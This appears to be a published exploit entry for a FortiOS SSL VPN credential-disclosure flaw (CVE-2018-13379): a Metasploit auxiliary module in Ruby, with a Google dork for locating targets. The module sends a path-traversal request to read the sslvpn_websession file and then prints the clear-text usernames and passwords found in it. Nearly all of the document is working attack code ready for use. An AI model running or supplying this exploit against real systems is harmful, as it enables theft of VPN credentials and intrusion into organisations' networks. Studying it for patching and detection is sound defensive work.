FortiOS 5.6.7 / 6.0.4 Credential Disclosure

                							

                # Exploit Title: FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# CVE : CVE-2018-13379

require 'msf/core'
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Post::File 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SSL VPN FortiOs - System file leak',
      'Description'    => %q{
        FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests.
        This exploit read /dev/cmdb/sslvpn_websession file, this file contains login and passwords in (clear/text).
        This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
      },
      'References'     =>
          [
              [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379' ]
          ],
      'Author'         => [ 'lynx (Carlos Vieira)' ],
      'License'        => MSF_LICENSE,
       'DefaultOptions' =>
          {
            'RPORT' => 443,
            'SSL' => true
          },
      ))

  end


  def run()
    print_good("Checking target...")
    res = send_request_raw({'uri'=>'/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'})

    if res && res.code == 200
      print_good("Target is Vulnerable!")
      data = res.body
      current_host = datastore['RHOST']
      filename = "msf_sslwebsession_"+current_host+".bin"
      File.delete(filename) if File.exist?(filename)
      file_local_write(filename, data)
      print_good("Parsing binary file.......")
      parse()
    else
      if(res && res.code == 404)
        print_error("Target not Vulnerable")
      else
        print_error("Ow crap, try again...")
      end
    end
  end
  def parse()
    current_host = datastore['RHOST']

      fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
      words = 0
      while (line = fileObj.gets)
        printable_data = line.gsub(/[^[:print:]]/, '.')
        array_data = printable_data.scan(/.{1,60}/m)
        for ar in array_data
          if ar != "............................................................"
            print_good(ar)
          end
        end
        #print_good(printable_data)
        
    end  
    fileObj.close  
  end
end
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